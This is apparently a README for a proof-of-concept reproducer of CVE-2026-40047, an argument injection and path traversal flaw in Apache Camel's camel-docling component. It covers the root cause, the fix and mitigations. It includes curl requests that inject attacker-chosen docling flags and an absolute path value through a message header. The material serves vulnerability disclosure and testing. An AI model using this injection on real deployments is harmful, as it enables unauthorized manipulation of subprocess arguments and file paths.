## https://sploitus.com/exploit?id=6AF53300-C136-5330-844A-132ED3FACA0D
# camel-docling CLI Argument Injection / Path Traversal Reproducer (CVE-2026-40047)
This project demonstrates a **CLI argument injection and path traversal** vulnerability in Apache
Camel's `camel-docling` component, tracked as **CVE-2026-40047**. `DoclingProducer` builds the
invocation of the external `docling` command-line tool from message headers; custom arguments supplied
through the `CamelDoclingCustomArguments` header were appended with insufficient validation (a denylist
plus a literal `../` check), so an attacker who influences those headers can inject arbitrary `docling`
CLI flags and traversal-bearing path values into the subprocess.
Advisory: https://camel.apache.org/security/CVE-2026-40047.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Component** | `camel-docling` |
| **Affected Class** | `org.apache.camel.component.docling.DoclingProducer` (`addCustomArguments` / `validateCustomArguments`) |
| **Root cause** | `CamelDoclingCustomArguments` (a `List`) appended to the `docling` CLI args with a weak denylist + literal `../` check |
| **CWE** | CWE-88 (Argument Injection) / CWE-22 (Path Traversal) |
| **Impact** | Injection of arbitrary/unintended `docling` CLI flags and out-of-directory path values into the external tool. NOT OS command injection (list-based ProcessBuilder, no shell). |
| **Affected Versions** | From 4.15.0 before 4.18.3 |
| **Fixed Versions** | 4.18.3, 4.19.0 |
| **JIRA** | CAMEL-23212 |
| **Reporter** | Andrea Cosentino (Apache Software Foundation) |
## Technical Details
`DoclingProducer` assembles the `docling` invocation and runs it via `java.lang.ProcessBuilder` (list
form โ no shell). Custom CLI arguments from the `CamelDoclingCustomArguments` header are appended to
the command:
```java
// DoclingProducer.addCustomArguments(...) - affected version
List customArgs = exchange.getIn().getHeader(DoclingHeaders.CUSTOM_ARGUMENTS, List.class);
if (customArgs != null && !customArgs.isEmpty()) {
validateCustomArguments(customArgs); // denylist + literal "../" check (weak)
command.addAll(customArgs);
}
```
In affected versions `validateCustomArguments` relied on a **denylist** of disallowed flags and only
rejected path values containing a literal `../`. As a result:
- **Unrecognized flags** (not on the denylist) are passed straight to `docling`.
- **Path-like values** that traverse without a literal `../` (absolute paths, or normalized sequences)
are not caught.
Because Camel builds the `docling` invocation, the component is responsible for constraining these
values. The fix (CAMEL-23212) replaces the denylist with a strict **allowlist** of recognized flags,
rejects producer-managed flags (`--output`/`-o`) and shell metacharacters (defence in depth), and
normalizes path-like values with `Path.normalize()` before validating.
> The invocation uses the list form of `ProcessBuilder`, so a shell does not interpret the values โ OS
> command injection via shell metacharacters is not possible; the metacharacter rejection in the fix
> is defence-in-depth.
## The route
```java
from("direct:convert")
.to("docling:convert?operation=CONVERT_TO_MARKDOWN&contentInBody=true");
```
## How this reproducer observes the injection
`docling` is an external tool. This reproducer ships a **stub `docling`** (on `PATH` inside the
container) that logs the argv it receives and writes back a markdown file, so the injected arguments
are visible in the HTTP response and in `/tmp/docling-invocations.log`. Everything runs inside a Docker
image (app + stub) โ so no real `docling` install is needed.
## Prerequisites
- Java 17+ and Maven 3.8+ (to build the jar)
- Docker (runs the app + stub `docling`)
## Reproduction Steps
### Step 1: Build the jar and the image
```bash
mvn clean package -DskipTests
docker compose up -d --build
```
### Step 2: Benign conversion
```bash
curl http://localhost:8080/exploit/normal
# stub docling receives: docling --to md --ocr-lang en --output /tmp/input.txt
```
### Step 3: Inject arbitrary CLI arguments
```bash
curl "http://localhost:8080/exploit/attack"
# injects CamelDoclingCustomArguments = [--injected-by-attacker, arbitrary-value]
# -> stub docling receives:
# docling --injected-by-attacker arbitrary-value --to md --ocr-lang en --output /tmp/input.txt
# a path value with no literal "../" (absolute path) also passes:
curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/attacker-controlled"
```
On an affected version (this reproducer pins **4.18.2**) the route **succeeds** and the injected
arguments reach the subprocess. On a fixed version (4.18.3 / 4.19.0) the allowlist rejects
`--injected-by-attacker` with an `IllegalArgumentException` and the route fails.
### Cleanup
```bash
docker compose down
```
## Exploit Conditions
1. A Camel route that forwards externally-influenced data into `CamelDoclingCustomArguments` (or the
path-bearing headers) of a `docling:` producer.
2. No stripping of Camel-internal headers on messages from untrusted producers.
## Recommended Fix
Upgrade to 4.18.3 / 4.19.0. The fix uses a strict allowlist of recognized `docling` flags, rejects
producer-managed flags and shell metacharacters, and normalizes path values with `Path.normalize()`
before validating them.
## Mitigation
Until upgrading:
1. **Do not map untrusted content** into `CamelDoclingCustomArguments` or the path-bearing headers.
2. **Strip Camel-internal headers** (`removeHeaders("Camel*")`) from messages arriving from untrusted
producers before the `docling:` producer.
## Files
```
CVE-2026-40047/
โโโ pom.xml
โโโ Dockerfile # app + stub 'docling' on PATH
โโโ docker-compose.yml
โโโ docling-stub.sh # stub 'docling' (logs argv, writes markdown)
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ DoclingRoute.java # from(direct:convert).to(docling:convert)
โ โโโ ExploitController.java # injects CamelDoclingCustomArguments
โโโ resources/
โโโ application.properties
```
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly
disclosed and fixed** vulnerability. Do not use it against systems without explicit permission.